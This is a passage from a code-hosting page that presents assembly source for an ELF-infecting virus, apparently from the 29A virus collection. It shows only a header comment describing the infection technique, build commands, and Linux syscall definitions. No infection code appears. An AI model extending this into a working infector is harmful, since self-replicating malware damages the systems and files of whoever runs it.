29a-7.011
来自「从29A上收集的病毒源码」· 011 代码 · 共 39 行
011
39 行
; _____ ______ ___ ___
; / \_ ______ __ __ / /~|_ ___\_ \ / /___
; | _ /_]/ __ \ ' V ___/ _/ __ \ ' / \
; | __/ | ____/ | |___ \ | ____/ / -- \
; |__| |__|\______/__|__|_____/__|\_____/\__/\______/
;
; This an example of an elf binary infection
; This technique is inspired of winux virus of Benny (great work)
;
;
; to Assemble it:
; nasm -f elf Siamexe.asm
; ld -o Siamexe Siamexe.o
bits 32
global _start
section .text
%define SYS_exit 1
%define SYS_read 3
%define SYS_write 4
%define SYS_open 5
%define SYS_close 6
%define SYS_execve 11
%define SYS_seek 19
%define SYS_brk 45
%define SYS_sethostname 74
%define SYS_readdir 89
%define SYS_mmap 90
%define SYS_munmap 91
%define SYS_lstat 107
%define SYS_uname 109
%define SYS_deprotect 125
%define SYS_get_kernel_syms 130
;-
⌨️ 快捷键说明
复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?